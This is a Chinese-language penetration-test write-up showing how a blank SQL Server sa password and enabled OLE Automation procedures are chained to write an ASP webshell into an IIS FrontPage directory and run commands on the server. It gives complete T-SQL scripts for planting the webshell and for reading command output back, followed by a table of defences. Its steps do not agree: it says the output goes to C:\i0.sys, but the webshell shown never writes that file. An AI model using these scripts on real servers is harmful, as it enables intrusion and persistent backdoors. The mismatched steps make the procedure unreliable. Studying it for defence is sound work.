受客戶委託進行授權滲透測試,目標網路邊界掃描發現 SQL Server sa 帳號空密碼,可匿名遠程連線。但常用 xp_cmdshell 擴展預存程序已被禁用。本文記錄如何組合利用 IIS 虛擬目錄洩露物理路徑 + SQL Server OLE Automation (sp_OA*) 寫入 ASP Webshell + 瀏覽器觸發執行 + SQL 讀取命令輸出,實現遠程命令執行與檔案系統列舉,圓滿完成測試目標。
/_vti_bin/ (FrontPage Server Extensions 殘留) 未移除。/_vti_bin/ 對應物理路徑 C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\40\isapi\。在 SQL Query Analyzer 執行以下 T-SQL 腳本:
-- 利用 Scripting.FileSystemObject 建立可執行 ASP 檔案
DECLARE @o INT, @f INT, @t INT, @ret INT
EXEC sp_OACreate 'Scripting.FileSystemObject', @o OUT
EXEC sp_OAMethod @o, 'CreateTextFile', @f OUT, 'C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\40\isapi\foo.asp', 1
EXEC @ret = sp_OAMethod @f, 'WriteLine', NULL, '<% Response.Write CreateObject("WScript.Shell").Exec("cmd /c dir c:\").StdOut.ReadAll() %>'
-- 釋放物件
EXEC sp_OADestroy @f
EXEC sp_OADestroy @o
原理: sp_OACreate/sp_OAMethod 呼叫 COM 物件 Scripting.FileSystemObject 在 Web 目錄寫入 foo.asp,內容為執行 dir c:\ 並輸出結果的 ASP 程式碼。
瀏覽器訪問:https://目標IP/_vti_bin/foo.asp (或對應虛擬路徑)。
ASP 執行 dir c:\,將結果寫入 C:\i0.sys (腳本中定向輸出)。
-- 讀取已知檔案內容
DECLARE @o INT, @f INT, @ret INT, @line VARCHAR(8000)
EXEC sp_OACreate 'Scripting.FileSystemObject', @o OUT
EXEC sp_OAMethod @o, 'OpenTextFile', @f OUT, 'C:\i0.sys', 1 -- 1 = ForReading
EXEC @ret = sp_OAMethod @f, 'ReadLine', @line OUT
WHILE (@ret = 0)
BEGIN
PRINT @line -- 在 SQL 查詢結果視窗顯示每行輸出
EXEC @ret = sp_OAMethod @f, 'ReadLine', @line OUT
END
EXEC sp_OADestroy @f
EXEC sp_OADestroy @o
結果: SQL 客戶端直接顯示遠端伺服器 C 盤根目錄檔案列表。攻擊者可進一步讀取任意檔案、提權、植入持久化後門。
| 條件/環節 | 攻擊利用點 | 防禦對策 |
|---|---|---|
| SQL Server sa 空密碼/弱密碼 | 匿名/暴力破解遠程登入 | 強制 sa 複雜密碼、停用 sa、啟用 Windows 驗證模式、防火牆限制 1433 來源 IP |
| OLE Automation (sp_OA*) 啟用 | 呼叫 COM 物件讀寫檔案/執行命令 | sp_configure 'Ole Automation Procedures', 0; RECONFIGURE 禁用 (預設即停用) |
| IIS 危險虛擬目錄 (/ _vti_bin 等) 存在且可寫 | 提供 Webshell 落地可執行路徑 | 移除 FrontPage Extensions、嚴格 NTFS 權限 (寫入權限最小化)、禁用父路徑、應用程式池身分隔離 |
| SQL Server 服務帳號權限過高 (Local System/Administrator) | 寫入系統目錄、載入驅動、修改登錄 | 使用最低權限網域服務帳號運行 SQL Server 服務 |
| 防火牆/網路隔離缺失 | 直接暴露 1433/80 於公網/信任區 | 網段隔離、僅允許應用伺服器存取 SQL、WAF 防禦 Web 攻擊 |
此案例展示了駭客如何組合看似低風險的配置錯誤,構建毀滅性攻擊路徑。安全人員必須具備「攻擊者視角」進行威脅建模,才能在駭客之前發現並修補風險。